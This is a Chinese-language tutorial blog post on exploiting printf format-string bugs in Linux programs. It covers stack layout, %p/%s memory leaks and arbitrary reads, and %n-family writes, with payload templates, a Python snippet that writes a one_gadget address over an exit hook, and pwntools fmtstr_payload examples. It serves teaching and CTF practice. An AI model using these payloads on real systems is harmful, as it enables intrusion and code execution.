linux 格式化字符串利用

sky123
  2024-11-08 03:13:03 2024-11-08 03:13:03 Created   2025-11-19 01:09:21 2025-11-19 01:09:21 Updated      12k Words  52 Mins  

基础知识

常见格式化字符串函数

标准/POSIX printf

窄字符（<stdio.h>）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int printf(const char *format, ...);
int vprintf(const char *format, va_list ap);

int fprintf(FILE *stream, const char *format, ...);
int vfprintf(FILE *stream, const char *format, va_list ap);

int dprintf(int fd, const char *format, ...);          // POSIX
int vdprintf(int fd, const char *format, va_list ap);

int sprintf(char *str, const char *format, ...);       // 不安全：无长度
int vsprintf(char *str, const char *format, va_list ap);

int snprintf(char *str, size_t size, const char *format, ...);
int vsnprintf(char *str, size_t size, const char *format, va_list ap);

printf 返回写出的字符数（int）；失败返回 -1 并设 errno（例如当理论返回值会超过 INT_MAX 时）。

GNU 扩展（_GNU_SOURCE）开启后还有支持自动分配缓冲区的格式化字符串函数。

_GNU_SOURCE 是 glibc 的“功能检测宏”（feature test macro）。把它定义在任何系统头文件之前，等于告诉 glibc：“把 GNU/Linux 的所有扩展接口都暴露出来（连同一堆默认/历史接口）”。这会影响头文件里能看到哪些函数、宏、常量，以及个别函数的原型/语义。

1
2
int asprintf(char **strp, const char *format, ...);          // *strp = malloc好的串
int vasprintf(char **strp, const char *format, va_list ap);

开启 GNU 扩展后还有 obstack（对象栈，<obstack.h>）系列的格式化字符串函数。

1
2
int obstack_printf(struct obstack *ob, const char *format, ...);
int obstack_vprintf(struct obstack *ob, const char *format, va_list ap);

宽字符（<wchar.h>）

1
2
3
4
5
6
7
8
int wprintf(const wchar_t *format, ...);
int vwprintf(const wchar_t *format, va_list ap);

int fwprintf(FILE *stream, const wchar_t *format, ...);
int vfwprintf(FILE *stream, const wchar_t *format, va_list ap);

int swprintf(wchar_t *wcs, size_t maxlen, const wchar_t *format, ...);
int vswprintf(wchar_t *wcs, size_t maxlen, const wchar_t *format, va_list ap);

日志类函数

系统日志（<syslog.h>）

1
2
void syslog(int priority, const char *format, ...);
void vsyslog(int priority, const char *format, va_list ap);

GNU error 家族（<error.h>）

1
2
3
4
void error(int status, int errnum, const char *format, ...);
void error_at_line(int status, int errnum,
                   const char *filename, unsigned int linenum,
                   const char *format, ...);

BSD 风格错误输出（<err.h>）

1
2
3
4
5
6
7
8
9
void err(int eval, const char *fmt, ...) __attribute__((__noreturn__));
void verr(int eval, const char *fmt, va_list ap) __attribute__((__noreturn__));
void errx(int eval, const char *fmt, ...) __attribute__((__noreturn__));
void verrx(int eval, const char *fmt, va_list ap) __attribute__((__noreturn__));

void warn(const char *fmt, ...);
void vwarn(const char *fmt, va_list ap);
void warnx(const char *fmt, ...);
void vwarnx(const char *fmt, va_list ap);

格式化字符串语法

一个转换的基本形态是：

1
%[参数位置][标志][宽度][.精度][长度]转换说明符

  • 参数位置（可选，POSIX）：n$ 表示使用第 n 个实参（从 1 开始）。

    一旦用了 $，**同一格式串里的所有参数（包括 * 的宽度/精度来源）都必须用 $**，否则属未定义行为。

  • 标志（flags）（可选，可多个）：- + 0 # 空格 '

  • 宽度（width）（可选）：十进制常量，或 *（从一个 int 实参读取；若为负，则相当于设置 - 并取绝对值）。

  • 精度（precision）（可选）：. 后接十进制常量，或 .*（从一个 int 实参读取；若为负，在 printf 中视为“未指定精度”）。

  • 长度（length）（可选）：hh h l ll j z t L

  • 转换说明符（specifier）（必选）：见下表。

转换说明符

说明符 含义 宽度/精度的作用（要点）
d/i 有符号十进制整数 精度=最少数字位数（左侧补 0）；指定了精度时忽略 0 标志
u 无符号十进制整数 同上
o 无符号八进制 #：非 0 值前加 0；精度同上
x/X 无符号十六进制 #：非 0 值前加 0x/0X；精度同上
f/F 十进制浮点（定点） 精度=小数位数（默认 6）；# 强制保留小数点；大写 F 影响 INF/NAN 大小写
e/E 科学计数法 精度=小数位数（默认 6）；# 强制小数点；E 大写指数记号
g/G 在 f 与 e/E 间择优 精度=有效数字（默认 6）；默认去掉末尾 0 和多余小数点，# 则保留
a/A 十六进制浮点 如 0x1.8p+1；精度=小数位数
c 单字符（int，按 unsigned char 输出） 可用宽度；精度无意义
s 字符串（char*，以 '\0' 结束） 精度=最多输出的字节数（UTF‑8 可能截半个字符）
p 指针 实现定义（glibc 常见为 0x...；NULL 常显示 (nil)）
n 把目前已输出的字符数写入指针指向的整数 本转换本身不产生输出；标志/宽度/精度被忽略
% 字面量 % 可用宽度/对齐

宽/窄字符：%lc/%ls 用于 wchar_t/宽字符串；此时精度表示最多输出的宽字符个数（不是字节）。

标志（flags）

  • -：左对齐（缺省右对齐）。

  • +：正数显示正号；与 空格 互斥（+ 优先）。

  • 空格：正数前放空格（无 + 时生效）。

  • 0：左侧用 0 填充（若指定了精度或 -，对整数不生效）。

  • #：备选形式

    • o：非 0 值确保前导 0；
    • x/X：非 0 值加 0x/0X；
    • 浮点：强制保留小数点；配 g/G 还会保留末尾 0。

  • '（单引号，POSIX/glibc 扩展）：按本地化分组（千位分隔），如 %'d（需 setlocale(LC_NUMERIC, "") 才有可见效果）。

宽度与精度

  • 宽度：字段最小宽度；不足则填充空格（或配合 0 用 0）。负宽度等价 -。

  • 精度：

    • 整型：最少数字位数；值为 0 且精度为 0 时输出空串（某些实现对 #+o 仍输出 0，注意差异）。
    • 字符串：最多输出字节数（可能截断多字节字符）。
    • 浮点：见上表；g/G 的精度是有效数字，非“小数位数”。

  • * 与实参：

    • */.* 从一个 int 实参读取宽度/精度；
    • 负精度在 printf 中视为“未指定”；负宽度等价于 - 并取绝对值；
    • 若使用了位置参数，应写成 *m$/.*m$ 来指定来源序号。

注意事项：

  • 0 标志 vs 精度（整数）：指定了精度就不再用 0 把左侧补到“宽度”。
  • 符号与填充：+/空格 产生的符号或空格在任何零填充之前。如 printf("%+05d", 42) → +0042。
  • **g/G**：默认去掉多余 0 和小数点；加 # 则保留。
  • **零值与 #**：%.0x 打印 0 值 → 空串；%#.0x 在不同实现可能仍输出 0。

另外对应 scanf 系列函数：

  • * 在 scanf 里表示抑制赋值（读但不存）；不是动态宽度/精度。
  • scanf 的“宽度”是最大可读入字符数（防止溢出很关键：%9s）。
  • 有扫描集：%[A-Za-z]、取反 %[^:] 等。
  • glibc/POSIX 常用扩展：%m 让 scanf 自动分配字符串缓冲（参数用 char **，用完 free）。

长度修饰（length）

长度 作用于整型时的参数类型 作用于 %n 时的指针类型
hh signed/unsigned char signed char*
h short/unsigned short short*
(无) int/unsigned int int*
l long/unsigned long；%lc/%ls=宽字符/串 long*
ll long long/unsigned long long long long*
j intmax_t/uintmax_t intmax_t*
z size_t（常配 %zu/%zx） size_t*
t ptrdiff_t ptrdiff_t*
L long double（仅浮点族） （对 %n 无意义）

glibc 常见扩展（非标准）

  • %m：在 printf 的格式串中插入 strerror(errno) 文本（不消耗额外实参）。例：

    1
    2
    errno = ENOENT;
    printf("open failed: %m\n");  // open failed: No such file or directory

  • **%'**：千位分隔（见上）。

  • **%C/%S**：旧式同义于 %lc/%ls，已不推荐。

  • asprintf/vasprintf：把结果写入动态分配的字符串（用完 free）。

格式化字符串内存结构

“printf 家族”有两套接口形态：

  • 形如 printf(...); 的 变参接口（ellipsis）：供调用者直接把任意数量/类型（经默认提升）的实参传进去。
  • 形如 vprintf(const char *fmt, va_list ap); 的 va_list 接口：供被调者在已经拿到一个“变参游标”（va_list）的情况下消费参数；常见于二次转发（wrapper）或日志桥接。

变参接口

示例程序：

1
2
3
4
5
6
7
#include<stdio.h>

int main() {
    char s[100] = "aaaa.%p.%p.%p.%p.%p.%p.%p";
    printf(s);
    return 0;
}

32位

编译命令：

1
gcc test.c -g -m32 -o test

输出结果：

1
aaaa.0x20.(nil).0x565561c5.(nil).(nil).0x61616161.0x2e70252e

栈结构：

00:0000│ esp 0xffffd030 —▸ 0xffffd048 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0004│-094 0xffffd034 ◂— 0x20 /* ' ' */
02:0008│-090 0xffffd038 ◂— 0
03:000c│-08c 0xffffd03c —▸ 0x565561c5 (main+24) ◂— add ebx, 0x2e0f
04:0010│-088 0xffffd040 ◂— 0
05:0014│-084 0xffffd044 ◂— 0
06:0018│ eax 0xffffd048 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
07:001c│-07c 0xffffd04c ◂— '.%p.%p.%p.%p.%p.%p.%p'

自上而下依次是参数 0~6，参数 0 为格式化字符串地址，而格式化字符串前 4 字节又作为参数 6（由于栈结构不同，需要视情况而定）。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。

fmt_str32

64位

编译命令：

1
gcc test.c -g -m64 -o test

输出结果：

1
aaaa.0x7fffffffde79.(nil).0x1.(nil).0x7fffffffdd28.0x2e70252e61616161.0x70252e70252e7025

寄存器：

*RAX  0x6b
 RBX  0
*RCX  1
*RDX  0
*RDI  0x7fffffffd900 —▸ 0x7ffff7c62050 (funlockfile) ◂— endbr64 
*RSI  0x7fffffffde79 ◂— 0
*R8   0
*R9   0x7fffffffdd28 ◂— '70252e70252e7025'
*R10  0
*R11  0x70252e70252e7025 ('%p.%p.%p')
 R12  0x7fffffffdfe8 —▸ 0x7fffffffe368 ◂— '/home/sky123/Desktop/t'
 R13  0x555555555169 (main) ◂— endbr64 
 R14  0x555555557db8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555120 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 RBP  0x7fffffffded0 ◂— 1
 RSP  0x7fffffffde60 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
*RIP  0x55555555520f (main+166) ◂— mov eax, 0

栈结构：

00:0000│ rsp   0x7fffffffde60 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0008│-068   0x7fffffffde68 ◂— '%p.%p.%p.%p.%p.%p'
02:0010│-060   0x7fffffffde70 ◂— '.%p.%p.%p'
03:0018│ rsi-1 0x7fffffffde78 ◂— 0x70 /* 'p' */
04:0020│-050   0x7fffffffde80 ◂— 0
... ↓          3 skipped

由于 64 位程序先使用 rdi、rsi、rdx、rcx、r8、r9 寄存器作为函数参数的前六个参数，多余的参数会依次压在栈上，第一个参数是格式化字符串指针。因此前 5 个格式化字符串参数对应的输出为寄存器中的值，格式化字符串前 8 个字节作为参数 6。

fmt_str64

va_list 接口

C 语言不支持函数重载，也无法直接把一个函数收到的 ... 再原样转发给下一个函数；标准做法是：在你的变参函数里用 stdarg.h 提供的宏把 ... 聚合为一个 va_list，然后调用对应的 v* 版本。于是每个族基本都有成对的接口：printf/vprintf，fprintf/vfprintf，snprintf/vsnprintf……这不是两类实现，而是同一实现的两种入口。

va_list 是 C 语言在 <stdarg.h> 里定义的一个类型，用来在函数中处理可变参数（variadic arguments）。va_list 通常会搭配这几个宏使用：

  • **va_list**：声明一个变量，用来存储参数信息。
  • va_start(ap, last_fixed_arg)：初始化 va_list，让它指向可变参数的起始位置。last_fixed_arg 是最后一个固定参数。
  • va_copy(dst, src)：把一个正在使用的 va_list 复制一份。当你需要对同一批参数遍历两次（先拼到字符串，再打到 syslog），或把参数传给两个不同的消费函数时，必须先 va_copy，然后分别消费，最后对每个副本都 va_end。
  • **va_arg(ap, type)**：从 va_list 里依次取出一个参数，并指定类型。
  • **va_end(ap)**：释放 va_list 所占的资源（主要是清理状态）。

例如下面这自定义的日志函数就是通过 vsnprintf 和 vsyslog 这两个采用 va_list 接口的格式化字符串函数实现的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdarg.h>
#include <syslog.h>

__attribute__((format(printf, 2, 3)))
void logf(int prio, const char *fmt, ...) {
    va_list ap, ap2;
    va_start(ap, fmt);
    va_copy(ap2, ap);

    char buf[1024];
    vsnprintf(buf, sizeof(buf), fmt, ap);  // 本地成串
    fputs(buf, stderr); fputc('\n', stderr);

    vsyslog(prio, fmt, ap2);               // 同时打到 syslog
    va_end(ap2);
    va_end(ap);
}

va_list 结构体与编译器、程序架构、调用约定有关，以 gcc 编译器编译的 x86-64 架构的二进制程序为例，该结构体定义如下：

1
2
3
4
5
6
7
8
typedef struct {
    unsigned int gp_offset;        // 已用的一般寄存器区域相对于reg_save_area的起始位置偏移（按字节）
    unsigned int fp_offset;        // 已用的浮点寄存器区域相对于reg_save_area的起始位置偏移（按字节）
    void *overflow_arg_area;       // 溢出到栈上的参数起始位置
    void *reg_save_area;           // 寄存器参数被保存的一块内存
} __va_list_tag;

typedef __va_list_tag __gnuc_va_list[1]; // va_list 实际是“长度为1的数组”

在进入使用 va_list 结构体的格式化字符串函数前，通过寄存器传参的参数都事先存储在栈中。而 va_list 结构体的各个字段会描述这些参数在栈中存储的位置。

va_list

由于格式化字符串相关漏洞的利用的时候只是关注“第几个参数”的问题，而并不关系参数到底是在栈上还是在寄存器上，因此我们只需要分析通过 va_list 接口格式化字符串实现的变参接口格式化字符串，这也就将格式化字符串问题又转换为针对变参接口的格式化字符串函数的利用

泄露内存

泄露栈变量内存

泄露栈变量的值

对于 printf 来说，想要获取栈中被视为第 n 个参数的值，常见的写法是：

  • 十六进制输出：%n$x
  • 按指针输出：%n$p

这两种写法都表示：“把第 n 个参数取出来，按对应格式打印”。

注意

  • %x 本质上是“以 16 进制显示的 %d”，只取 32 位（4 字节）；
    在 64 位程序里，会把 64 位里的低 32 位拿出来显示，高 32 位直接丢掉。
    而 %p 会按指针大小输出（64 位上就是 8 字节），    不截断    ，因此更适合用来泄露地址。

  • n 是格式化参数序号，从 1 开始数，指的是“被格式字符串处理的那些参数”：

    以 amd64 System V ABI 为例（Linux 上的 glibc 默认）：

    1
    2
    3
    int snprintf(char *buf, size_t size, const char *fmt, ...);

    snprintf(buf, 0x100, input); // input 可控

    • C 函数层面参数顺序：buf(1)、size(2)、fmt(3)、第一个可变参数(4)、第二个可变参数(5)……

    • 在 ABI 层面：

      • 前 6 个整型/指针参数会先进寄存器（rdi, rsi, rdx, rcx, r8, r9），之后的可变参数才会顺序压栈。
      • 对 snprintf(buf, 0x100, input) 而言，input 在 rdx，第一个“真正要被 % 用的参数”在 rcx，在格式字符串视角就是“第 1 个参数”。

    也就是说：“第 n 个参数”是从第一个参与格式化的参数开始数的，和你代码里传了多少固定参数有关。

  • 如果你已经用调试器/泄露算出：格式字符串本体 input 在栈里，距离当前栈顶偏移为 off（字节），而你知道从“第 1 个参数”开始，前几个参数都在寄存器里，那么可以用类似下面的算式计算它对应的“第几个参数”：n = off / 8 + 基础偏移。

    举例：在某个环境下，调试发现：

    • 从“第 1 个参数”开始，第 1~3 个在寄存器，第 4 个才是栈顶；
    • input 在栈顶之上 0x530 字节处；
      那么可以认为它是第 0x530 / 8 + 4 = 0xAB + 4 = 0xAF (175) 个参数，也就是可以尝试 %175$p 这一类格式。

  • 关于 `%1$p 特判：

    这里我们约定的写法是 glibc 常见的“直接用 %n$x 指第 n 个栈参数”（非标准扩展），
    和 POSIX 的“%n$ 位置参数语法”不是一回事。

    在 glibc 里：

    • %7$x：非标准扩展，指第 7 个栈参数。
    • %1$p（没有 $）：只会被当作“宽度为 1 的 %p”，不会按“第 1 个参数”的特殊规则处理。

    所以如果你想取“第 1 个参数”（也就是最靠前的那个），直接写 %p 就可以了，用 %1$p 在很多实现里反而语义怪异，最好在构造脚本里为 n = 1 单独特判为 %p。

泄露栈变量对应对应地址的内容

上面是“直接把参数本身当整数/指针打印”。如果你想“把某个参数当作指向内存的指针，然后打印那块内存里的内容”，可以利用 %s：

把第 n 个参数当成一个 char * 指针，从该地址开始按字符串打印到 \0 为止。

写法：

  • 栈上第 n 个参数是一个地址（比如 &local_var）：
    用 %n$s 就可以泄露该地址指向的内存内容。

例如：

1
2
3
char secret[] = "FLAG{...}";
printf("%2$s\n", "dummy", secret);
// 第 2 个参数是 secret，%2$s 会打印它指向的字符串

在 CTF 里，%n$s 很常用于“栈上参数刚好是一个地址，我又不知道那个地址是什么，但可以直接把它指向的内容当字符串读出来”。

泄露任意地址内存

如果你能 控制某个参数中放什么值，那就可以做到“任意地址读”。思路：

  1. 把要读的地址 addr 准备成一个 8 字节值，塞进某个参数位置（例如第 k 个参数）。
  2. 在格式串里写 %k$s，printf 就会把该地址当 char * 字符串，从那里开始读，直到遇到 \0 停止。

如果格式化字符串保存在栈上，那么我们可以通过格式化字符串控制栈上的内容，从而在对应参数位置伪造这个指针。常见两种构造 payload 的方式：

地址在格式串前面

这里的 addr 指“真实的 8 字节地址”（在输入流/栈里），而非字符串 "addr"。

payload 形式大概如下：

1
[填充/对齐][addr (第 k 个参数)][格式串 "%k$s ...."]

打印时 %k$s 会去栈上取第 k 个参数（即 addr），再从 addr 指向的位置开始按字符串输出，实现任意地址读。

地址在格式串后面

在 64 位下，一个指针是 8 字节，但很多地址的高 2~3 字节是 0x00，如果你把 addr 放在输入的中间位置，比如：

1
"AAAA" + "\x10\x20\x30\x40\x00\x00\x00\x00" + "%k$s"

那么从程序视角看：

  • 字符串在遇到第一个 \0 就结束；
  • 后面的 %k$s 根本不会被当作格式化字符串解析，而是直接不会读到。

为了避免这种“高位零把格式串截断”的问题，把地址放在格式串后面会更安全，常见写法：

1
payload = b"%k$sAAAA" + p64(addr)

这样格式串部分不含 \0，addr 以二进制形态跟在后面，仅作为后续栈参数参与解析。

注意

64 位下参数是按 8 字节对齐读取的，如果你对数据的布局不小心，让 addr 在栈上不是 8 字节对齐位置（比如从 payload 的第 3 个字节开始算 8 字节），那么 printf 取第 k 个参数时读到的是“跨两个地址的 8 字节混合垃圾”，自然会崩。

所以要设计 payload 时让地址按 8 字节对齐（"AAAA" + p64(addr)）。

覆盖内存

原理分析

覆盖内存的核心原理是：

%k$n 会把“当前已经输出的字符总数”写入“第 k 个参数指向的内存”。

  • 第 k 个参数本身必须是一个“指针”（例如 int *、short * 等，取决于长度修饰）。
  • %n 族只负责写内存，不产生任何输出字符。

写入位置

非常关键的一点：

%k$n 是 “取第 k 个参数里的值当作地址，再往这个地址写”，
而不是“改第 k 个参数在栈上那 8 字节的值”。

也就是说，你能改的是“这个指针指向的那块内存”，不能直接改“栈上存放这个指针本身那个槽位”。

关于参数编号（$ 语法）
%k$n 里 k 从 1 开始计数，是“格式串之后的第 k 个参数”（不包含格式串本身）。一旦使用了 $ 语法（位置参数），同一条格式串里所有参数（含动态宽度/精度的 *）都必须使用位置参数，否则属于未定义行为/实现拒绝。例如：

1
2
3
printf("%2$d %1$d\n", 1, 2);        // OK：位置参数
printf("%*2$d\n", 1, 8);            // OK：动态宽度也用位置参数
// printf("%d %2$d\n", 1, 2);       // ❌：混用位置与非位置参数

输出字符总数

另外一点是“当前已经输出的字符总数”指的是：

“到目前为止，这次 printf 调用已经‘写出去’（或理论上会写出去）的字符个数”。

%n 就是把这个数值写入你提供的整数指针中。

哪些东西会算进这个“字符总数”？

会计数的：

  • 格式串里的普通字符："Hello\n" 里的 H e l l o \n 都算。

  • 各种转换说明符展开后产生的所有字符：

    • %d / %x 打印出来的数字；%s 的字符串内容（到 \0 或精度上限）；
    • %p 的地址字符串；%f / %e / %g 等浮点表示；
    • %% 打印出来的那个 %。

  • 由 标志 / 宽度 / 精度 额外产生的字符：

    • 符号位：+123 里的 +；
    • # 产生的前缀：0x123 里的 0x；
    • 填充空格或 0：%08x 产生的一堆 0；
    • 千位分隔符：%'d 产生的逗号/空格等。

提示

  • 对于往终端/网络写的 printf / fprintf / dprintf：

    • %n 看到的“已输出字符数”通常就等于这次调用最终返回值（若成功）。

  • 对于 snprintf：

    • 返回值是“如果缓冲区足够大，本应该输出多少字符”（不含结尾 \0）。
    • 在常见实现（如 glibc）中，%n 看到的是这条理论输出里、到 %n 位置为止的字符数；不是实际写入缓冲区的字节数。

因此可以把 %n 理解为：printf 把整串东西都‘算一遍’，按规则决定本次理论上会输出多少字符，然后 %n 在自己位置上把‘到目前为止的这个计数’写出来；写内存不增加计数。

不会计数的：

  • %n 本身的动作：

    • 往内存里写值不算输出字符；
    • %n 只是在当前计数的基础上做一个“读数 + 存储”的副作用；
    • 所以，写入内存本身不会让 count 增加。

  • snprintf 加的那个结尾 '\0' 终止符：

    • 终止的 \0 不计入 printf 的“已输出字符数”。

  • 没有实际输出的转换：

    • 比如整型 0 配合 %.0d，结果是“空串”，这个转换就不会增加计数。

写入数值上限

glibc 使用内部计数器累计“已写出字节数”，并在收尾阶段以 int 的范围做安全相加；一旦**理论输出总数无法放进 int，就会设置 errno = EOVERFLOW 并返回 -1。因此单次格式化的理论长度上线是 INT_MAX**。超过就失败（-1/EOVERFLOW）。

include/printf_buffer.h 对“返回累计写入字节数”的函数有非常直白的注释：

“If the number is larger than INT_MAX, returns -1 and sets errno to EOVERFLOW.”

也就是数一旦超过 INT_MAX，就报错。

glibc 的 printf 用一个内部计数器跟踪“已经写出去的字节数”与“当前缓冲中待写的字节数”。在“收尾”阶段会把两者以 int 的范围做安全相加；一旦加法“放不进 int”，就**设置 errno = EOVERFLOW 并返回 -1**（也就意味着这次 printf 失败）。对应代码在 stdio-common/Xprintf_buffer_done.c：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int
Xprintf_buffer_done (struct Xprintf_buffer *buf)
{
  if (Xprintf_buffer_has_failed (buf))
    return -1;
  /* Use uintptr_t here because for sprintf, the buffer range may
     cover more than half of the address space.  */
  uintptr_t written_current = buf->write_ptr - buf->write_base;
  int written_total;
  if (INT_ADD_WRAPV (buf->written, written_current, &written_total))
    {
      __set_errno (EOVERFLOW);
      return -1;
    }
  else
    return written_total;
}

这条规则覆盖 printf/fprintf/dprintf 等所有到流的输出，对文件/终端的输出路径在 stdio-common/printf_buffer_to_file.c，收尾时直接调用了上面的“收尾”函数：

1
return __printf_buffer_done (&base);

因此 printf / fprintf / dprintf 这条线都会在超过 INT_MAX 时走到同一处检查并报 EOVERFLOW。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// overflow_snprintf.c
#define _GNU_SOURCE
#include <stdio.h>
#include <limits.h>
#include <errno.h>
#include <string.h>

int main(void) {
    char buf[1] = {0};          // 极小缓冲，迫使库走“只计数”的路径
    errno = 0;
    unsigned long long target = 0xdeadbeefULL;

    // 这里 "%*sX" 会产生 INT_MAX 个空格 + 1 个 'X'，理论总长度 INT_MAX+1
    int ret = snprintf(buf, sizeof(buf), "%*sX%lln", INT_MAX, "", &target);

    if (ret < 0) {
        printf("snprintf failed as expected: errno=%d (%s)\n", errno, strerror(errno));
        if (errno == EOVERFLOW) puts("=> hit EOVERFLOW as expected");
        printf("=> target value: 0x%llx\n", target);
        return 0;
    } else {
        printf("snprintf returned %d (should not exceed INT_MAX on glibc)\n", ret);
        printf("=> target value: 0x%llx\n", target);
        return 1;
    }
}

因此理论上格式化字符串一次性写入的数值上限是 0x7FFFFFFF。

然而在真实终端/网络场景，要产生非常长的理论输出，往往受超时/速率限制约束，即使理论上没到 INT_MAX 也可能来不及“写完”，因此写入数值可能达不到这个上界。而对于 snprintf 这种函数，则可以达到上界。

长度修饰

对于 %n，不同长度修饰，决定了一次写入多少字节：

  • %n ：把输出字符数写成 int （4 字节）
  • %hn ：写成 short （2 字节）
  • %hhn ：写成 char （1 字节）
  • %ln ：写成 long （8 字节 on x64）
  • %lln ：写成 long long （8 字节）

提示

长度修饰下的写入长度只能是 2 的整数次幂，多余部分会被填充为 0。因此对于需要部分覆盖的情况（比如 3 字节部分覆盖）需要错位写入。

多个 %n 计数

同一次调用里可以有多个 %n，它们看到的是出现在它之前的所有输出：

1
2
3
4
int a, b;
printf("AAAA%nBBBB%n\n", &a, &b);
// "AAAA" 输出后，a = 4
// "BBBB" 输出后，b = 8
  • 第一个 %n：看到的是 "AAAA" 这 4 个字符；
  • 第二个 %n：看到 "AAAABBBB" 这 8 个字符；
  • 换句话说：每个 %n 都是各自位置上的“当前读数”。

栈上格式化字符串

这里说的“栈上格式化字符串”，一般指的是：可控的格式化字符串本身连同你附加的地址都放在栈上。典型代码形态：

1
2
3
4
5
void vuln() {
    char buf[0x100];        // buf 在栈上
    read(0, buf, 0x200);    // 溢出到返回地址附近
    printf(buf);            // 直接把 buf 当 format
}

攻击者不仅能控制 buf 里面的 格式串本体，还能在格式串后面继续写一堆字节（比如要写入的目标地址），这些数据也都在当前栈帧的栈空间里。

这种情况下，伪造参数和格式串在内存上是连续的：AAAA%p%p%p...BBBB<addr1><addr2>... 都在同一个栈帧里。

当 printf 处理 %n / %hn / %hhn 这类需要“取额外参数”的格式符时，会从“参数区”取值（在 x64 下就是 va_args 对应的栈/寄存器备份区域）。而这些“额外参数”其实就是你构造的那几段地址——因为你让“参数区”上出现了你写进去的地址，这就是利用点。

手动构造 payload

假设 64 位程序，printf(buf);，buf 在栈上，可以控；通过 %p 探测偏移以后，发现：

  • 第 10 个参数是我们 payload 尾部的第一个地址；
  • 第 11、12、13 个参数分别是后面三个地址；

我们打算用 %hn（2 字节写）把一个 8 字节数据拆成 4 段写，例如把 addr 写成 0xdeadbeefcafebabe。

其中数据拆成：

  • chunk1 = 0xbabe
  • chunk2 = 0xcafe
  • chunk3 = 0xbeef
  • chunk4 = 0xdead

目标地址 addr，分别写 addr、addr+2、addr+4、addr+6 上的 2 字节。

此时 payload 的整体结构：

1
2
3
4
5
6
7
8
payload =
    [格式串部分 fmt] +
    "\x00" +                 # 显式结束 C 字符串
    [对齐填充 padding] +
    p64(addr) +
    p64(addr+2) +
    p64(addr+4) +
    p64(addr+6)

其中格式串部分（fmt）的大致写法：

1
2
3
4
5
fmt =
    "%[delta1]c%10$hn" +     # 第一次写，写到 addr
    "%[delta2]c%11$hn" +     # 第二次写，写到 addr+2
    "%[delta3]c%12$hn" +     # 第三次写，写到 addr+4
    "%[delta4]c%13$hn"       # 第四次写，写到 addr+6

这里的 %10$hn 就是：把当前已输出字符总数的低 2 字节，写到“第 10 个参数指向的地址”里。而“第 10 个参数”就是我们尾部的 p64(addr)。

delta1/2/3/4 用来把“已输出字符数”加到我们想要的值：

  • 当前已输出字符数 = base_len

  • 希望第一段写入值 = v1（比如 0xbabe）

  • 那 delta1 = (v1 - base_len) & 0xffff

  • 第二段写入值 = v2（比如 0xcafe），那：

    • delta2 = (v2 - v1) & 0xffff

  • 以此类推。

所以，完整 format 大差不差就是：

1
2
3
4
5
"%[delta1]c%10$hn"
"%[delta2]c%11$hn"
"%[delta3]c%12$hn"
"%[delta4]c%13$hn"
"\x00"

再拼后面的地址。

示例代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]
exit_hook = ld_base + 0x2ef70
info("one_gadget: " + hex(one_gadget))
info("exit hook: " + hex(exit_hook))
 
payload = ''
payload += '%{}c%{}$hhn'.format(one_gadget >> 0 & 0xFF, 10)
payload += '%{}c%{}$hhn'.format(((one_gadget >> 8 & 0xFF) - (one_gadget >> 0 & 0xFF) + 0x100) & 0xFF, 11)
payload += '%{}c%{}$hhn'.format(((one_gadget >> 16 & 0xFF) - (one_gadget >> 8 & 0xFF) + 0x100) & 0xFF, 12)
payload = payload.ljust((len(payload) + 7) / 8 * 8)
payload += p64(exit_hook)
payload += p64(exit_hook + 1)
payload += p64(exit_hook + 2)

pwntools 生成 payload

对于格式化字符串payload，pwntools也提供了一个可以直接使用的类 Fmtstr，具体文档见http://docs.pwntools.com/en/stable/fmtstr.html。

其中 fmtstr_payload 会根据给定参数生成载荷。它可以为 32 位或 64 位架构生成载荷。地址的大小取决于 context.bits。

1
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')→ str[source]

  • **offset (int)**：格式化字符串算作第几个参数。

    • 例如在 amd64 架构下， snprintf(buf, 0x100, input) 的 input 是可控输入。那么如果此时格式化字符串本体 input 存放在距离栈顶偏移 0x530 的位置上，那么就被认为是第 0x530/8 + 4 = 170 个参数。
    • 如果格式化字符串本体在栈上没有按照机器字长对齐需要在前面手动在前面填充字符确保对齐。

  • **writes (dict)**：包含要写入地址和写入的值的字典，例如 {addr1: value1, addr2: value2}。

    • value 可以是整数，也可以是 bytes（文档示例里有 b"\xff\xff\x04\x11..."）；
    • pwntools 会根据 write_size 把它拆成多次 %n/%hn/%hhn 写入。

  • **numbwritten (int, 可选)**：格式化字符串函数已输出的字节数。

  • **write_size (str, 可选)**：必须是 'byte'、'short' 或 'int'。指定是按字节、按短整数还是按整数写入（对应 %hhn、%hn 或 %n），默认值为 'byte'。

  • overflows (int, 可选)：允许多少额外的溢出（按大小 sz）以减少格式字符串的长度。这个参数是格式化字符串长度与输出量之间的权衡：较大的 overflows 值会生成较短的格式字符串，但在运行时会生成更多的输出。

  • **strategy (str, 可选)**：可以是 'fast' 或 'small'。默认值为 'small'，当有多个写操作时可以使用 'fast'。

  • **no_dollars (bool, 可选)**：是否生成不带 $ 符号的载荷。

示例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
context.clear(arch='amd64')
payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
print(payload)
# 输出: b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
print(payload)
# 输出: b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'

payload = fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
print(payload)
